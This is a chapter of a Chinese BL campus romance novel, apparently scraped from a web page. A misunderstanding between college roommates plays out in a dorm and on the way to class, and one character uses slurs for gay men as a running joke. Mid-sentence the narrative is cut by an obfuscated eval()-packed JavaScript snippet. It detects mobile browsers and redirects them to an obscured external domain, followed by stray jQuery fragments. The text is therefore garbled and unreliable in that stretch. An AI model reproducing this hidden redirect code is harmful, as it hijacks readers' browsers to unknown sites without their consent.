10. 第十章

作品:《晋江攻嬷了起点攻

    他在这边被弄的心底乱成一团麻,罪魁祸首却是毫无自觉,等他再回寝室时已经躺床上重新睡下了。


    被表白的经历多,被室友表白还是开天辟地头一回,即使顾景池打定了主意不回应,也还是忍不住把注意力多放在那人身上一点。


    余繁不知道这个死基佬世界的酒里头都加了什么科技与狠活,竟能比他们那的蒙汗药还好使。


    他吃完汤圆还是感觉头痛的要炸掉,顶多是从被驴踢变成了被猪拱,索性爬上床接着睡。


    他平日里睡姿不算老实,四仰八叉极其有碍观瞻。曾创下过一夜把身旁人踹下床七次的记录。这会儿倒是乖乖的,脸面着墙壁,身子微微蜷缩。


    上午没课,宿舍其他几个正坐床上扯着嗓子连麦打游戏,时不时毫无预兆嘶吼一声,压根没注意到余繁什么时候上的床。


    吵。


    顾景池眉头不自觉拧了一下。


    他下意识想让其他几个把嘴闭上,话到嘴边又猛地刹住。


    万一余繁压根没睡,就在这等着看他态度呢?


    如果他开了这个口,那岂不是在印证自己一直有在关注他?


    既然没有那个意思,就不该做让人误会的事。


    顾景池神经兮兮上床。


    他床正好和余繁对着,中间也不过隔着一米多距离。从他的视角看过去,正好能望到这人后边碎发和一截修长脖颈。


    余繁也不知道是不是胃难受,整个身体窝着,他衣服并不厚,布料垂下去恰好勾出身体轮廓,后背瞧着极其单薄。


    顾景池莫名其妙看了三分多钟才猛然回过神,心底说不上来烦躁。


    真睡了?


    这么吵,竟然……


    余繁动了一下。


    顾景池做贼心虚似的立即挪开视线,慌乱抓起手机,可惜没控制住动作幅度,“砰”的一声角磕在了床栏上。


    手机倒是没事,声音大的很。


    顾景池呼吸都屏住了。


    余繁翻了个身,从面对着墙转到面对天花板,侧脸毫无预兆闯进顾景池眼帘,眼睛闭的极紧。


    以他的眼力,甚至能看到这人轻轻颤抖的眼睫。


    “哎我操,余繁是不睡了?”贺延本想喊他一起组队,头探出床瞧了一眼,立即压低声音,“嘘——都别吵昂,让我们余大爷就寝!”


    宿舍安静了。


    顾景池看了眼沉浸在自己竟如此有素质的喜悦中无可自拔的贺延,又看了看彻底睡死的余繁,沉默。


    会不会,是他太敏感了?


    只是正常室友关系而已,只是他先入为主给余繁套上了暗恋自己且纠缠不休的壳子,带着有色眼镜看人,才会觉得他所有举动都带着不言可说目的。


    本质上还是一种歧视。


    顾景池深呼一口气。


    要改。


    -


    下午有课,脑子再怎么被驴踢也得起床。


    余繁从床上挣扎起来,面无表情坐在床上缓了好一会儿才把起床气压下去。


    一瞥到床下对着他笑魇如花等他一起走的基佬,火气又噌噌噌冒了上来。


    刚才做梦,他一开始躺在片一望无垠的草原,躺着躺着身下的绿草开始蠕动,张开嘴“哥哥老公”的乱叫,随后地底钻出群一丝-不挂白花花的男人,尖叫着把他簇拥在最中心,争着抢着问他到底爱谁。


    毫不夸张地说,他是被吓醒的,后背直冒冷汗。


    余繁胡乱揉了两把自己头发,刚没好气地让贺延滚,余光就瞥到已经换好衣服一只脚踏出宿舍门的顾景池,眼睛刹那间亮了。


    他终于明白小说里的总裁为什么能一眼爱上小白花了。


    挤在一群庸脂俗粉里,突然看见个与众不同出淤泥而不染的,简直特么跟洗眼睛一样。


    他大吼:“顾景池,你别动!!”


    顾景池脚步一顿,回头用极其复杂地目光看他。


    余繁没察觉到丝毫他的抗拒,沉浸在茫茫沧海中抓住根浮木的救赎感中,激动到:“我要和你坐!”


    和他做……


    顾景池舌头被牙齿狠磕了下,喉结微动,琢磨了半天话术才委婉道:“……我要坐前排。”


    余繁豁出去了:“我也坐!”


    不就是不方便玩手机吗?跟挤在基佬堆里他比宁愿看老师喷口水。


    顾景池还妄图挣扎:“这节课老师喜欢点前排的名。”


    余繁已经跳下了床,抓起课本跑到他身边,露出明媚笑容:“没事啊,这不是有你吗。”


    再不济还有脑瘫系统呢。


    他长了张不会让人生戒备心的脸,笑起来时更甚,虎牙尖尖,两侧浮起浅浅酒窝,让人很想掐一把。


    顾景池说不出来话了。


    再推脱就显得过于刻意。


    他闭目,心底默念三遍尊重,点了头。


    贺延捂胸口,痛彻心扉:“死狗你变了,你再也不是那个只求及格的余繁了!什么意思,水课都不水了?!暗恋顾哥吗非要跟人家坐一块?”


    余繁和顾景池同时脸色一变。


    瞧瞧,瞧瞧!他就说这死基佬暗恋自己吧?!


    他不过是上课跟直男坐一块,这个人就急了,就开始吃醋随意杜撰他们的革命友谊了!!!


    他哪来的立场吃醋,他凭什么吃醋,自己为什么要让一个基佬吃醋?!


    余繁大脑在嘶吼。


    顾景池想的则比较复杂。


    整个大一一年,余繁都没表现出自己的真实性向,甚至常常公然拉着一群人看那些乱七八糟的东西。他猜,这人应当是不太愿意旁人知道自己秘密的。


    尤其告白对象还是自己室友,还被拒了,说出去总归不太好听。


    顾景池深思熟虑后,决定以一种委婉的方式帮一帮余繁,例如跟贺延解释一下,是他和余繁早就商量好了要坐在一起上课,不是余繁单方面……


    下一秒,胳膊突然被人死死抱住。


    余繁微笑:“是,我就暗恋他怎么着?他哪点不比你好?”


    顾景池:“???”


    顾景池:“!!!”


    余繁满脑子都是怎么才能让这个基佬彻底死心,丝毫没注意到身旁顾景池身体僵硬程度已经堪比木桩。


    贺延还以为余繁表演欲上来了,非常配合,努力挤出一副泫然欲泣的表情:“果然,家花不如野花香,你竟然变心的如此之快!渣男!”


    这声渣男喊的千娇百媚,尾音还带一点小波浪。


    余繁实打实被膈应到了。


    他扭头看顾景池,挤眉弄眼暗示他赶紧走别理这死基佬。


    顾景池好不容易才缓过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099306|179786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神,一转头,看见余繁给自己抛了个媚眼。


    他大脑“轰”的一声炸了。


    “你……”


    余繁生怕贺延再开口说出什么雷死他和顾景池的话,用力扯着他往外走。


    顾景池脚步不稳,被拽的一个踉跄。


    算了,算了。


    抱都抱过了,拉个胳膊而已……


    顾景池看着那块和余繁肌肤紧贴着的皮肉,眉头缓缓拧在一起。


    他忍了半天还是没忍住:“余繁。”


    余繁一听到他这么叫自己名字就一阵牙酸,控制不住回忆起视频里自己坐出租车不顾死活高歌的场景,面部扭曲了瞬。


    思索片刻,还是决定给自己这个所谓的好兄弟一点特权。转过头又是一副笑脸:“怎么?”


    实在委婉不了了,顾景池叹气:“……你到底喜欢我什么?”


    余繁蹙眉,不理解他为什么要纠结这个,却还是很给面子地认真思考了下。


    “呃。”他很努力地憋词,“喜欢你是直男?”


    顾景池沉默。


    事实上,在刚被余繁告白的时候,他就上网查过身为直男被室友告白该怎么办。


    忽略掉那些乱七八糟磕cp的写黄文的,也确实找到了一些有用的东西。


    他知道,的确会有一部分同性恋以直掰弯直男为乐。


    可顾景池并不觉得自己也会是被掰弯的其中一份子。


    想着想着,又突然想到他和余繁第一次见面。


    九月初刚报道,天气正热,闷到喘不上气。这人明显是自来熟惯了,前脚刚把行李箱放下,后脚就极其自然地问他们每个人要了微信建群。


    加到他的时候,还“嚯”了一声:“大帅哥啊。”


    顾景池下意识抬眼,刚好看到他正抓着短袖下摆擦汗。


    宽肩窄腰,露出的那截小腹线条分明,很是显眼。


    顾景池当时真的只当这是句客套话。


    但现在回过头一想,每个动作,每一句话,都简直都刻意到了极点。


    所以……那天他是故意露出来给自己看的,从那个时候起就已经计划着要掰弯他了吗?!


    虽然对男性的身体没太大兴趣,但这个意外发现还是要让顾景池浑身上下烧起来了。


    “这算什么理由?”他内心说不出自己是什么感受,“贺延他们不也是直男吗?”


    “贺延?”余繁想起午夜月光下趴在自己床栏上那张惨白的脸,“呵”了一声,很有素质地把脏话咽进了肚子里。


    他不说,顾景池自然也不会追着问。


    原本只当这个话题就这么过去了,却不料半分钟后,余繁突然幽幽来了句:“他怎么能跟你比。”


    顾景池险些给自己原地绊倒。


    他眼神几乎可以称得上是惊悚,不可置信道:“你说什么?”


    余繁知道,友情也是有占有欲的。朋友是朋友兄弟是兄弟,更别提他们还是如此相互帮扶共同患难。


    他下定决心给足自己在这个世界里唯一的好兄弟安全感。


    深吸一口气,脸上都带了层淡红,忍着肉麻道:“我说,你不用吃醋了,他们没法跟你比。”


    前面两句说出口,后面就没那么费劲了。余繁找到了感觉,动情道:“哥,你在我心底就是独一无二的!”